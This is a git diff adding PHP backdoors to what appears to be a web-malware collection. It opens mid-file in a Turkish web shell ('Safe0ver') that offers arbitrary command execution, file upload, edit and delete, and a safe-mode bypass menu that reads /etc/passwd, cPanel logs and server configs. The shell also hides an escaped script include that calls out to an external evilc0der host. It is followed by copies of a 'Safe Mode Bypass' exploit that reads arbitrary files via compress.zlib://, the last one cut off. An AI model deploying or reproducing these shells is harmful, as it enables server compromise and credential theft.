Versiyonu:&nbsp;&nbsp;</strong>&nbsp;</td><td>&nbsp;$PHPVer&nbsp;</td></tr>\n"; + } + else { + echo "<tr><td class=\"silver border\">&nbsp;<strong>Server's PHP Version:&nbsp;&nbsp;</strong>&nbsp;</td><td>&nbsp;$PHPVer (Some functions might be unavailable...)&nbsp;</td></tr>\n"; + } + /* <!-- Other Actions --> */ + echo "<tr><td class=\"silver border\">&nbsp;<strong>Diger Islemler:&nbsp;&nbsp;</strong>&nbsp;</td>\n"; + echo "<td>&nbsp;<b>".buildUrl( "| Yeni Dosya |", "cmd=newfile&lastcmd=dir&lastdir=$dir")."\n".sp(3). + buildUrl( "| Yeni Klas�r |", "cmd=newdir&lastcmd=dir&lastdir=$dir")."\n".sp(3). + buildUrl( "| Dosya Y�kle |", "cmd=upload&dir=$dir&lastcmd=dir&lastdir=$dir"). "</b>\n</td></tr>\n"; + echo "<tr><td class=\"silver border\">&nbsp;<strong>Script Location:&nbsp;&nbsp;</strong>&nbsp;</td><td>&nbsp;$PATH_TRANSLATED</td></tr>\n"; + echo "<tr><td class=\"silver border\">&nbsp;<strong>IP Adresin:&nbsp;&nbsp;</strong>&nbsp;</td><td>&nbsp;$REMOTE_ADDR&nbsp;</td></tr>\n"; + echo "<tr><td class=\"silver border\">&nbsp;<strong>Bulundugun Klas�r:&nbsp;&nbsp;</strong></td><td>&nbsp;$partdir&nbsp;</td></tr>\n"; + echo "<tr><td valign=\"top\" class=\"silver border\">&nbsp;<strong>Semboller:&nbsp;&nbsp;</strong&nbsp;</td><td>\n"; + echo "<table NOWRAP>"; + echo "<tr><td><strong>D:</strong></td><td>&nbsp;&nbsp;Klas�r.</td></tr>\n"; + echo "<tr><td><strong>R:</strong></td><td>&nbsp;&nbsp;Okunabilir.</td></tr>\n"; + echo "<tr><td><strong>W:</strong></td><td>&nbsp;&nbsp;Yazilabilir.</td></tr>\n"; + echo "<tr><td><strong>X:</strong></td><td>&nbsp;&nbsp;Komut Calistirilabilir.</td></tr>\n"; + echo "<tr><td><strong>U:</strong></td><td>&nbsp;&nbsp;HTTP Uploaded File.</td></tr>\n"; + echo "</table></td>"; + echo "</table>"; + echo "<br>"; + @closedir($h); + } + elseif ( $cmd=="execute" ) {/*<!-- Execute the executable -->*/ + echo system("$file"); + } +elseif ( $cmd=="deldir" ) { /*<!-- Delete a directory and all it's files --> */ + echo "<center><table><tr><td NOWRAP>" ; + if ($auth == "yes") { + if (Mydeldir($file)==false) { + echo "Could not remove \"$file\"<br>Permission denied, or directory not empty..."; + } + else { + echo "Successfully removed \"$file\"<br>"; + } + echo "<form action=\"$SFileName?$urlAdd\" method=\"POST\"><input type=\"hidden\" name=\"cmd\" value=\"$lastcmd\"><input type=\"hidden\" name=\"dir\" value=\"$lastdir\"><input tabindex=\"0\" type=\"submit\" value=\"Safe0ver'a D�n\"></form>"; + } + else { + echo "Are you sure you want to delete \"$file\" and all it's subdirectories ? + <form action=\"$SFileName?$urlAdd\" method=\"POST\"> + <input type=\"hidden\" name=\"cmd\" value=\"deldir\"> + <input type=\"hidden\" name=\"lastcmd\" value=\"$lastcmd\"> + <input type=\"hidden\" name=\"lastdir\" value=\"$lastdir\"> + <input type=\"hidden\" name=\"file\" value=\"$file\"> + <input type=\"hidden\" name=\"auth\" value=\"yes\"> + <input type=\"submit\" value=\"Yes\"></form> + <form action=\"$SFileName?$urlAdd\" method=\"POST\"> + <input type=\"hidden\" name=\"cmd\" value=\"$lastcmd\"> + <input type=\"hidden\" name=\"dir\" value=\"$lastdir\"> + <input tabindex=\"0\" type=\"submit\" value=\"NO!\"></form>"; + } + echo "</td></tr></center>"; +} + elseif ( $cmd=="delfile" ) { /*<!-- Delete a file --> */ echo "<center><table><tr><td NOWRAP>" ; + if ($auth == "yes") { + if (@unlink($file)==false) { + echo "Could not remove \"$file\"<br>"; + } + else { + echo "Successfully removed \"$file\"<br>"; + } + echo "<form action=\"$SFileName?$urlAdd\" method=\"POST\"><input type=\"hidden\" name=\"cmd\" value=\"$lastcmd\"><input type=\"hidden\" name=\"dir\" value=\"$lastdir\"><input tabindex=\"0\" type=\"submit\" value=\"Safe0ver'a D�n\"></form>"; + } + else { + echo "Are you sure you want to delete \"$file\" ? + <form action=\"$SFileName?$urlAdd\" method=\"POST\"> + <input type=\"hidden\" name=\"cmd\" value=\"delfile\"> + <input type=\"hidden\" name=\"lastcmd\" value=\"$lastcmd\"> + <input type=\"hidden\" name=\"lastdir\" value=\"$lastdir\"> + <input type=\"hidden\" name=\"file\" value=\"$file\"> + <input type=\"hidden\" name=\"auth\" value=\"yes\"> + + <input type=\"submit\" value=\"Yes\"></form> + <form action=\"$SFileName?$urlAdd\" method=\"POST\"> + <input type=\"hidden\" name=\"cmd\" value=\"$lastcmd\"> + <input type=\"hidden\" name=\"dir\" value=\"$lastdir\"> + <input tabindex=\"0\" type=\"submit\" value=\"NO!\"></form>"; + } + echo "</td></tr></center>"; +} +elseif ( $cmd=="newfile" ) { /*<!-- Create new file with default name --> */ + echo "<center><table><tr><td NOWRAP>"; + $i = 1; + while (file_exists("$lastdir/newfile$i.txt")) + $i++; + $file = fopen("$lastdir/newfile$i.txt", "w+"); + if ($file == false) + echo "Could not create the new file...<br>"; + else + echo "Successfully created: \"$lastdir/newfile$i.txt\"<br>"; + echo " + <form action=\"$SFileName?$urlAdd\" method=\"POST\"> + <input type=\"hidden\" name=\"cmd\" value=\"$lastcmd\"> + <input type=\"hidden\" name=\"dir\" value=\"$lastdir\"> + <input tabindex=\"0\" type=\"submit\" value=\"Safe0ver'a D�n\"> + </form></center> + </td></tr></table></center> "; + } +elseif ( $cmd=="newdir" ) { /*<!-- Create new directory with default name --> */ + echo "<center><table><tr><td NOWRAP>" ; + $i = 1; + while (is_dir("$lastdir/newdir$i")) + $i++; + $file = mkdir("$lastdir/newdir$i", 0777); + if ($file == false) + echo "Could not create the new directory...<br>"; + else + echo "Successfully created: \"$lastdir/newdir$i\"<br>"; + echo "<form action=\"$SFileName?$urlAdd\" method=\"POST\"> + <input type=\"hidden\" name=\"cmd\" value=\"$lastcmd\"> + <input type=\"hidden\" name=\"dir\" value=\"$lastdir\"> + <input tabindex=\"0\" type=\"submit\" value=\"Safe0ver'a D�n\"> + </form></center></td></tr></table></center>"; +} +elseif ( $cmd=="edit" ) { /*<!-- Edit a file and save it afterwards with the saveedit block. --> */ + $contents = ""; + $fc = @file( $file ); + while ( @list( $ln, $line ) = each( $fc ) ) { + $contents .= htmlentities( $line ) ; + } + echo "<br><center><table><tr><td NOWRAP>"; + echo "M<form action=\"$SFileName?$urlAdd\" method=\"post\">\n"; + echo "<input type=\"hidden\" name=\"cmd\" value=\"saveedit\">\n"; + echo "<strong>EDIT FILE: </strong>$file<br>\n"; + echo "<textarea rows=\"25\" cols=\"95\" name=\"contents\">$contents</textarea><br>\n"; + echo "<input size=\"50\" type=\"text\" name=\"file\" value=\"$file\">\n"; + echo "<input type=\"submit\" value=\"Save\">"; + echo "</form>"; + echo "</td></tr></table></center>"; +} +elseif ( $cmd=="saveedit" ) { /*<!-- Save the edited file back to a file --> */ + $fo = fopen($file, "w"); + $wrret = fwrite($fo, stripslashes($contents)); + $clret = fclose($fo); +} +elseif ( $cmd=="downl" ) { /*<!-- Save the edited file back to a file --> */ + $downloadfile = urldecode($file); + if (function_exists("basename")) + $downloadto = basename ($downloadfile); + else + $downloadto = "download.ext"; + if (!file_exists("$downloadfile")) + echo "The file does not exist"; + else { + $size = @filesize("$downloadfile"); + if ($size != false) { + $add="; size=$size"; + } + else { + $add=""; + } + header("Content-Type: application/download"); + header("Content-Disposition: attachment; filename=$downloadto$add"); + $fp=fopen("$downloadfile" ,"rb"); + fpassthru($fp); + flush(); + } +} +elseif ( $cmd=="upload" ) { /* <!-- Upload File form --> */ + ?> + <center> + <table> + <tr> + <td NOWRAP> + Dosya Y�kleme Sekmesine Tikladiniz ! + <br> Eger Y�klemek istediginiz Dosya mevcut ise �zerine Yazilir.<br><br> + <form enctype="multipart/form-data" action="<?php echo "$SFileName?$urlAdd" ?>" method="post"> + <input type="hidden" name="MAX_FILE_SIZE" value="1099511627776"> + <input type="hidden" name="cmd" value="uploadproc"> + <input type="hidden" name="dir" value="<?php echo $dir ?>"> + <input type="hidden" name="lastcmd" value="<?php echo $lastcmd ?>"> + <input type="hidden" name="lastdir" value="<?php echo $lastdir ?>"> + Dosya Y�kle:<br> + <input size="75" name="userfile" type="file"><br> + <input type="submit" value="Y�kle"> + </form> + <br> + <form action="<?php echo "$SFileName?$urlAdd" ?>" method="POST"> + <input type="hidden" name="cmd" value="<?php echo $lastcmd ?>"> + <input type="hidden" name="dir" value="<?php echo $lastdir ?>"> + <input tabindex="0" type="submit" value="Iptal"> + </form> + </td> + </tr> + </table> + </center> + + <?php +} +elseif ( $cmd=="uploadproc" ) { /* <!-- Process Uploaded file --> */ + echo "<center><table><tr><td NOWRAP>"; + if (file_exists($userfile)) + $res = copy($userfile, "$dir/$userfile_name"); + echo "Uploaded \"$userfile_name\" to \"$userfile\"; <br>\n"; + if ($res) { + echo "Basariyla Y�klendi \"$userfile\" to \"$dir/$userfile_name\".\n<br><br>"; + echo "Y�klenen Dosya Adi: \"$userfile_name\".\n<br>Dosya Adi: \"$userfile\".\n<br>"; + echo "Dosya Boyutu: ".formatsize($userfile_size).".\n<br>Filetype: $userfile_type.\n<br>"; + } + else { + echo "Y�klenemedi..."; + } + echo "<form action=\"$SFileName?$urlAdd\" method=\"POST\"><input type=\"hidden\" name=\"cmd\" value=\"$lastcmd\"><input type=\"hidden\" name=\"dir\" value=\"$lastdir\"><input tabindex=\"0\" type=\"submit\" value=\"Safe0ver'a D�n\"></form></center>" ; + echo "<br><br></td></tr></table></center>"; +} +elseif ( $cmd=="file" ) { /* <!-- View a file in text --> */ + echo "<hr>"; + $fc = @file( $file ); while ( @list( $ln, $line ) = each( $fc ) ) { + echo spacetonbsp(@htmlentities($line))."<br>\n"; + } + echo "<hr>"; +} +elseif ( $cmd=="ren" ) { /* <!-- File and Directory Rename --> */ + if (function_exists('is_dir')) { + if (is_dir("$oldfile")) { + $objname = "Directory"; + $objident = "Directory"; + } + else { + $objname = "Filename"; + $objident = "file"; + } + } + echo "<table width=100% border=\"0\" cellpadding=\"0\" cellspacing=\"0\"><tr><td width=100% style=\"class=\"silver border\"><center>&nbsp;Rename a file:&nbsp;</center></td></tr></table><br>\n"; + If (empty($newfile) != true) { + echo "<center>"; + $return = @rename($oldfile, "$olddir$newfile"); + if ($return) { + echo "$objident renamed successfully:<br><br>Old $objname: \"$oldfile\".<br>New $objname: \"$olddir$newfile\""; + } + else { + if ( @file_exists("$olddir$newfile") ) { + echo "Error: The $objident does already exist...<br><br>\"$olddir$newfile\"<br><br>Hit your browser's back to try again..."; + } + else { + echo "Error: Can't copy the file, the file could be in use or you don't have permission to rename it."; + } + } + echo "<form action=\"$SFileName?$urlAdd\" method=\"POST\"><input type=\"hidden\" name=\"cmd\" value=\"$lastcmd\"><input type=\"hidden\" name=\"dir\" value=\"$lastdir\"><input tabindex=\"0\" type=\"submit\" value=\"Safe0ver'a D�n\"></form></center>" ; + } + else { + $dpos = strrpos($oldfile, "/"); + if (strval($dpos)!="") { + $olddir = substr($oldfile, 0, $dpos+1); + } + else { + $olddir = "$lastdir/"; + } + $fpos = strrpos($oldfile, "/"); + if (strval($fpos)!="") { + $inputfile = substr($oldfile, $fpos+1); + } + else { + $inputfile = ""; + } + echo "<center><table><tr><td><form action=\"$SFileName?$urlAdd\" method=\"post\">\n"; + echo "<input type=\"hidden\" name=\"cmd\" value=\"ren\">\n"; + echo "<input type=\"hidden\" name=\"oldfile\" value=\"$oldfile\">\n"; + echo "<input type=\"hidden\" name=\"olddir\" value=\"$olddir\">\n"; + echo "<input type=\"hidden\" name=\"lastcmd\" value=\"$lastcmd\">\n"; + echo "<input type=\"hidden\" name=\"lastdir\" value=\"$lastdir\">\n"; + echo "Rename \"$oldfile\" to:<br>\n"; + echo "<input size=\"100\" type=\"text\" name=\"newfile\" value=\"$inputfile\"><br><input type=\"submit\" value=\"Rename\">"; + echo "</form><form action=\"$SFileName?$urlAdd\" method=\"post\"><input type=\"hidden\" name=\"cmd\" value=\"$lastcmd\"><input type=\"hidden\" name=\"dir\" value=\"$lastdir\"><input type=\"submit\" value=\"Cancel\"></form>"; + echo "</td></tr></table></center>"; + } +} +else if ( $cmd == "con") { + +?> +<center> +<table> + <tr><td>&nbsp;</td> + </tr></table> +<?php +} +else { /* <!-- There is a incorrect or no parameter specified... Let's open the main menu --> */ + $isMainMenu = true; + ?> + <table width="100%" border="0" cellpadding="0" cellspacing="0"> + <tr> + <td width="100%" class="border"> + <center>&nbsp;-<[{ <?php echo $scriptTitle ?> Main Menu }]>-&nbsp;</center> + </td> + </tr> + </table> + <br> + <center> + <table border="0" NOWRAP> + <tr> + <td valign="top" class="silver border"> + <?php echo buildUrl( sp(2)."<font color=\"navy\"><strong>##Safe0ver##</strong></font>", "cmd=dir&dir=.").sp(2); ?> </td> + <td style="BORDER-TOP: silver 1px solid;" width=350 NOWRAP><span class="style5"> Safe0ver Shell Piyasada Bulunan Bir Cok Shell'in Kodlarindan(c99,r57 vs...) Sentezlenerek Kodlanmistir.Entegre Olarak Bypass �zelligi Eklenmis Ve B�ylece Tahrip G�c� Y�kseltilmistir.Yazilimimiz Hic bir Virus,worm,trojan gibi Kullaniciyi Tehdit Eden Veya S�m�ren yazilimlar Icermemektedir.<p>--------------------------<p>Bypass Kullan�m:<b>Cat /home/evilc0der/public_html/config.php</b> Gibi Olmalidir.<br> + </span></td> + </tr> + </table> + <br><p><br>Safe Mode ByPAss<p><form method="POST"> + <p align="center"><input type="text" size="40" value="<? if($_POST['dizin'] != "") { echo $_POST['dizin']; } else echo $klasor;?>" name="dizin"> + <input type="submit" value="�alistir"></p> +</form> + <form method="POST"> + <p align="center"><select size="1" name="dizin"> + <option value="uname -a;id;pwd;hostname">Sistem Bilgisi</option> + <option value="cat /etc/passwd">cat /etc/passwd</option> + <option value="cat /var/cpanel/accounting.log">cat /var/cpanel/accounting.log</option> + <option value="cat /etc/syslog.conf">cat /etc/syslog.conf</option> + <option value="cat /etc/hosts">cat /etc/hosts</option> + <option value="cat /etc/named.conf">cat /etc/named.conf</option> + <option value="cat /etc/httpd/conf/httpd.conf">cat /etc/httpd/conf/httpd.conf</option> + <option value="netstat -an | grep -i listen">A�ik Portlar</option> + <option value="ps -aux">�alisan Uygulamalar</option> +</select> <input type="submit" value="�alistir"></p> + </form> +------------------------------------------------------------------------------------<p> +<? +$evilc0der=$_POST['dizin']; +if($_POST['dizin']) +{ +ini_restore("safe_mode"); +ini_restore("open_basedir"); +$safemodgec = shell_exec($evilc0der); +echo "<textarea rows=17 cols=85>$safemodgec</textarea>"; +} +?> +<Script Language='Javascript'> +<!-- HTML Encryption provided by iWEBTOOL.com --> +<!-- +document.write(unescape('%3C%68%74%6D%6C%3E%3C%62%6F%64%79%3E%3C%53%43%52%49%50%54%20%53%52%43%3D%68%74%74%70%3A%2F%2F%77%77%77%2E%65%76%69%6C%63%30%64%65%72%2E%6F%72%67%2F%6C%6F%67%7A%2F%79%61%7A%2E%6A%73%3E%3C%2F%53%43%52%49%50%54%3E%3C%2F%62%6F%64%79%3E%3C%2F%68%74%6D%6C%3E')); +//--> +</Script> +</center> + <br> + <?php +} + +if ($cmd != "downl") { + if ( $isMainMenu != true) { + ?> + + <table width="100%" border="0" cellpadding="0" cellspacing="0"> + <tr> + <td width="100%" style="class="silver border"> + <center><strong> + &nbsp;&nbsp;<?php echo buildUrl("<font color=\"navy\">[&nbsp;Main Menu&nbsp;] </font>", "cmd=&dir="); ?>&nbsp;&nbsp; + &nbsp;&nbsp;&nbsp;&nbsp; + &nbsp;&nbsp;<?php echo buildUrl("<font color=\"navy\">[&nbsp;R00T&nbsp;] </font>", "cmd=dir&dir=."); ?> &nbsp;&nbsp; + </strong></center> + </td> + </tr> + </table> + <br> + <?php +} + ?> + <table width=100% border="0" cellpadding="0" cellspacing="0"> + <tr> + <td width="100%" class="silver border"> + <center>&nbsp;<?php echo $scriptident ?> - <?php echo $scriptver ?> - <?php echo $scriptdate ?>&nbsp;</center> + </td> + </tr> + </table> + </td> + </tr> + </table> + + <?php + } + +?> + + + + + + + + + + diff --git a/web-malware-collection-master/Backdoors/PHP/Safe_Mode Bypass PHP 4.4.2 and PHP 5.1.2.php b/web-malware-collection-master/Backdoors/PHP/Safe_Mode Bypass PHP 4.4.2 and PHP 5.1.2.php new file mode 100755 index 0000000..ac5dc38 --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/Safe_Mode Bypass PHP 4.4.2 and PHP 5.1.2.php @@ -0,0 +1,89 @@ +<head> +<meta http-equiv="Content-Language" content="en-us"> +</head> +<STYLE>TD { FONT-SIZE: 8pt; COLOR: #ebebeb; FONT-FAMILY: verdana;}BODY { scrollbar-face-color: #800000; scrollbar-shadow-color: #101010; scrollbar-highlight-color: #101010; scrollbar-3dlight-color: #101010; scrollbar-darkshadow-color: #101010; scrollbar-track-color: #101010; scrollbar-arrow-color: #101010; font-family: Verdana;}TD.header { FONT-WEIGHT: normal; FONT-SIZE: 10pt; BACKGROUND: #7d7474; COLOR: white; FONT-FAMILY: verdana;}A { FONT-WEIGHT: normal; COLOR: #dadada; FONT-FAMILY: verdana; TEXT-DECORATION: none;}A:unknown { FONT-WEIGHT: normal; COLOR: #ffffff; FONT-FAMILY: verdana; TEXT-DECORATION: none;}A.Links { COLOR: #ffffff; TEXT-DECORATION: none;}A.Links:unknown { FONT-WEIGHT: normal; COLOR: #ffffff; TEXT-DECORATION: none;}A:hover { COLOR: #ffffff; TEXT-DECORATION: underline;}.skin0{position:absolute; width:200px; border:2px solid black; background-color:menu; font-family:Verdana; line-height:20px; cursor:default; visibility:hidden;;}.skin1{cursor: default; font: menutext; position: absolute; width: 145px; background-color: menu; border: 1 solid buttonface;visibility:hidden; border: 2 outset buttonhighlight; font-family: Verdana,Geneva, Arial; font-size: 10px; color: black;}.menuitems{padding-left:15px; padding-right:10px;;}input{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}textarea{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}button{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}select{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}option {background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}iframe {background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}p {MARGIN-TOP: 0px; MARGIN-BOTTOM: 0px; LINE-HEIGHT: 150%}blockquote{ font-size: 8pt; font-family: Courier, Fixed, Arial; border : 8px solid #A9A9A9; padding: 1em; margin-top: 1em; margin-bottom: 5em; margin-right: 3em; margin-left: 4em; background-color: #B7B2B0;}body,td,th { font-family: verdana; color: #d9d9d9; font-size: 11px;}body { background-color: #000000;}</style> +<p align="center"><b><font face="Webdings" size="6" color="#FF0000">!</font><font face="Verdana" size="5" color="#DADADA"><a href="? "><span style="color: #DADADA; text-decoration: none; font-weight:700"><font face="Times New Roman">Safe +Mode Shell v1.0</font></span></a></font><font face="Webdings" size="6" color="#FF0000">!</font></b></p> +<form method="POST"> + <p align="center"><input type="text" name="file" size="20"> + <input type="submit" value="Open" name="B1"></p> +</form> + <form method="POST"> + <p align="center"><select size="1" name="file"> + <option value="/etc/passwd">Get /etc/passwd</option> + <option value="/var/cpanel/accounting.log">View cpanel logs</option> + <option value="/etc/syslog.conf">Syslog configuration</option> + <option value="/etc/hosts">Hosts</option> + </select> <input type="submit" value="Go" name="B1"></p> + </form> + + +<?php +/* +Safe_Mode Bypass PHP 4.4.2 and PHP 5.1.2 +by PHP Emperor<xb5@hotmail.com> +*/ + +echo "<head><title>Safe Mode Shell</title></head>"; + + + + +$tymczas="./"; // Set $tymczas to dir where you have 777 like /var/tmp + +if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") +{ + $safemode = true; + $hsafemode = "<font color=\"red\">ON (secure)</font>"; +} +else {$safemode = false; $hsafemode = "<font color=\"green\">OFF (not secure)</font>";} +echo("Safe-mode: $hsafemode"); +$v = @ini_get("open_basedir"); +if ($v or strtolower($v) == "on") {$openbasedir = true; $hopenbasedir = "<font color=\"red\">".$v."</font>";} +else {$openbasedir = false; $hopenbasedir = "<font color=\"green\">OFF (not secure)</font>";} +echo("<br>"); +echo("Open base dir: $hopenbasedir"); +echo("<br>"); +echo "Disable functions : <b>"; +if(''==($df=@ini_get('disable_functions'))){echo "<font color=green>NONE</font></b>";}else{echo "<font color=red>$df</font></b>";} +$free = @diskfreespace($dir); +if (!$free) {$free = 0;} +$all = @disk_total_space($dir); +if (!$all) {$all = 0;} +$used = $all-$free; +$used_percent = @round(100/($all/$free),2); + +echo "<PRE>\n"; +if(empty($file)){ +if(empty($_GET['file'])){ +if(empty($_POST['file'])){ +die("\nWelcome.. By This script you can jump in the (Safe Mode=ON) .. Enjoy\n <B><CENTER><FONT +COLOR=\"RED\">PHP Emperor +xb5@hotmail.com</FONT></CENTER></B>"); +} else { +$file=$_POST['file']; +} +} else { +$file=$_GET['file']; +} +} + +$temp=tempnam($tymczas, "cx"); + +if(copy("compress.zlib://".$file, $temp)){ +$zrodlo = fopen($temp, "r"); +$tekst = fread($zrodlo, filesize($temp)); +fclose($zrodlo); +echo "<B>--- Start File ".htmlspecialchars($file)." +-------------</B>\n".htmlspecialchars($tekst)."\n<B>--- End File +".htmlspecialchars($file)." ---------------\n"; +unlink($temp); +die("\n<FONT COLOR=\"RED\"><B>File +".htmlspecialchars($file)." has been already loaded. PHP Emperor <xb5@hotmail.com> +;]</B></FONT>"); +} else { +die("<FONT COLOR=\"RED\"><CENTER>Sorry... File +<B>".htmlspecialchars($file)."</B> dosen't exists or you don't have +access.</CENTER></FONT>"); +} +?> \ No newline at end of file diff --git a/web-malware-collection-master/Backdoors/PHP/Safe_Mode Bypass PHP 4.4.2 and PHP 5.1.2.txt b/web-malware-collection-master/Backdoors/PHP/Safe_Mode Bypass PHP 4.4.2 and PHP 5.1.2.txt new file mode 100755 index 0000000..ac5dc38 --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/Safe_Mode Bypass PHP 4.4.2 and PHP 5.1.2.txt @@ -0,0 +1,89 @@ +<head> +<meta http-equiv="Content-Language" content="en-us"> +</head> +<STYLE>TD { FONT-SIZE: 8pt; COLOR: #ebebeb; FONT-FAMILY: verdana;}BODY { scrollbar-face-color: #800000; scrollbar-shadow-color: #101010; scrollbar-highlight-color: #101010; scrollbar-3dlight-color: #101010; scrollbar-darkshadow-color: #101010; scrollbar-track-color: #101010; scrollbar-arrow-color: #101010; font-family: Verdana;}TD.header { FONT-WEIGHT: normal; FONT-SIZE: 10pt; BACKGROUND: #7d7474; COLOR: white; FONT-FAMILY: verdana;}A { FONT-WEIGHT: normal; COLOR: #dadada; FONT-FAMILY: verdana; TEXT-DECORATION: none;}A:unknown { FONT-WEIGHT: normal; COLOR: #ffffff; FONT-FAMILY: verdana; TEXT-DECORATION: none;}A.Links { COLOR: #ffffff; TEXT-DECORATION: none;}A.Links:unknown { FONT-WEIGHT: normal; COLOR: #ffffff; TEXT-DECORATION: none;}A:hover { COLOR: #ffffff; TEXT-DECORATION: underline;}.skin0{position:absolute; width:200px; border:2px solid black; background-color:menu; font-family:Verdana; line-height:20px; cursor:default; visibility:hidden;;}.skin1{cursor: default; font: menutext; position: absolute; width: 145px; background-color: menu; border: 1 solid buttonface;visibility:hidden; border: 2 outset buttonhighlight; font-family: Verdana,Geneva, Arial; font-size: 10px; color: black;}.menuitems{padding-left:15px; padding-right:10px;;}input{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}textarea{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}button{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}select{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}option {background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}iframe {background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}p {MARGIN-TOP: 0px; MARGIN-BOTTOM: 0px; LINE-HEIGHT: 150%}blockquote{ font-size: 8pt; font-family: Courier, Fixed, Arial; border : 8px solid #A9A9A9; padding: 1em; margin-top: 1em; margin-bottom: 5em; margin-right: 3em; margin-left: 4em; background-color: #B7B2B0;}body,td,th { font-family: verdana; color: #d9d9d9; font-size: 11px;}body { background-color: #000000;}</style> +<p align="center"><b><font face="Webdings" size="6" color="#FF0000">!</font><font face="Verdana" size="5" color="#DADADA"><a href="? "><span style="color: #DADADA; text-decoration: none; font-weight:700"><font face="Times New Roman">Safe +Mode Shell v1.0</font></span></a></font><font face="Webdings" size="6" color="#FF0000">!</font></b></p> +<form method="POST"> + <p align="center"><input type="text" name="file" size="20"> + <input type="submit" value="Open" name="B1"></p> +</form> + <form method="POST"> + <p align="center"><select size="1" name="file"> + <option value="/etc/passwd">Get /etc/passwd</option> + <option value="/var/cpanel/accounting.log">View cpanel logs</option> + <option value="/etc/syslog.conf">Syslog configuration</option> + <option value="/etc/hosts">Hosts</option> + </select> <input type="submit" value="Go" name="B1"></p> + </form> + + +<?php +/* +Safe_Mode Bypass PHP 4.4.2 and PHP 5.1.2 +by PHP Emperor<xb5@hotmail.com> +*/ + +echo "<head><title>Safe Mode Shell</title></head>"; + + + + +$tymczas="./"; // Set $tymczas to dir where you have 777 like /var/tmp + +if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") +{ + $safemode = true; + $hsafemode = "<font color=\"red\">ON (secure)</font>"; +} +else {$safemode = false; $hsafemode = "<font color=\"green\">OFF (not secure)</font>";} +echo("Safe-mode: $hsafemode"); +$v = @ini_get("open_basedir"); +if ($v or strtolower($v) == "on") {$openbasedir = true; $hopenbasedir = "<font color=\"red\">".$v."</font>";} +else {$openbasedir = false; $hopenbasedir = "<font color=\"green\">OFF (not secure)</font>";} +echo("<br>"); +echo("Open base dir: $hopenbasedir"); +echo("<br>"); +echo "Disable functions : <b>"; +if(''==($df=@ini_get('disable_functions'))){echo "<font color=green>NONE</font></b>";}else{echo "<font color=red>$df</font></b>";} +$free = @diskfreespace($dir); +if (!$free) {$free = 0;} +$all = @disk_total_space($dir); +if (!$all) {$all = 0;} +$used = $all-$free; +$used_percent = @round(100/($all/$free),2); + +echo "<PRE>\n"; +if(empty($file)){ +if(empty($_GET['file'])){ +if(empty($_POST['file'])){ +die("\nWelcome.. By This script you can jump in the (Safe Mode=ON) .. Enjoy\n <B><CENTER><FONT +COLOR=\"RED\">PHP Emperor +xb5@hotmail.com</FONT></CENTER></B>"); +} else { +$file=$_POST['file']; +} +} else { +$file=$_GET['file']; +} +} + +$temp=tempnam($tymczas, "cx"); + +if(copy("compress.zlib://".$file, $temp)){ +$zrodlo = fopen($temp, "r"); +$tekst = fread($zrodlo, filesize($temp)); +fclose($zrodlo); +echo "<B>--- Start File ".htmlspecialchars($file)." +-------------</B>\n".htmlspecialchars($tekst)."\n<B>--- End File +".htmlspecialchars($file)." ---------------\n"; +unlink($temp); +die("\n<FONT COLOR=\"RED\"><B>File +".htmlspecialchars($file)." has been already loaded. PHP Emperor <xb5@hotmail.com> +;]</B></FONT>"); +} else { +die("<FONT COLOR=\"RED\"><CENTER>Sorry... File +<B>".htmlspecialchars($file)."</B> dosen't exists or you don't have +access.</CENTER></FONT>"); +} +?> \ No newline at end of file diff --git a/web-malware-collection-master/Backdoors/PHP/Safe_Mode_Bypass_PHP_4.4.2_and_PHP_5.1.2.txt b/web-malware-collection-master/Backdoors/PHP/Safe_Mode_Bypass_PHP_4.4.2_and_PHP_5.1.2.txt new file mode 100755 index 0000000..856d152 --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/Safe_Mode_Bypass_PHP_4.4.2_and_PHP_5.1.2.txt @@ -0,0 +1,91 @@ +<head> +<meta http-equiv="Content-Language" content="en-us"> +</head> +<STYLE>TD { FONT-SIZE: 8pt; COLOR: #ebebeb; FONT-FAMILY: verdana;}BODY { scrollbar-face-color: #800000; scrollbar-shadow-color: #101010; scrollbar-highlight-color: #101010; scrollbar-3dlight-color: #101010; scrollbar-darkshadow-color: #101010; scrollbar-track-color: #101010; scrollbar-arrow-color: #101010; font-family: Verdana;}TD.header { FONT-WEIGHT: normal; FONT-SIZE: 10pt; BACKGROUND: #7d7474; COLOR: white; FONT-FAMILY: verdana;}A { FONT-WEIGHT: normal; COLOR: #dadada; FONT-FAMILY: verdana; TEXT-DECORATION: none;}A:unknown { FONT-WEIGHT: normal; COLOR: #ffffff; FONT-FAMILY: verdana; TEXT-DECORATION: none;}A.Links { COLOR: #ffffff; TEXT-DECORATION: none;}A.Links:unknown { FONT-WEIGHT: normal; COLOR: #ffffff; TEXT-DECORATION: none;}A:hover { COLOR: #ffffff; TEXT-DECORATION: underline;}.skin0{position:absolute; width:200px; border:2px solid black; background-color:menu; font-family:Verdana; line-height:20px; cursor:default; visibility:hidden;;}.skin1{cursor: default; font: menutext; position: absolute; width: 145px; background-color: menu; border: 1 solid buttonface;visibility:hidden; border: 2 outset buttonhighlight; font-family: Verdana,Geneva, Arial; font-size: 10px; color: black;}.menuitems{padding-left:15px; padding-right:10px;;}input{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: 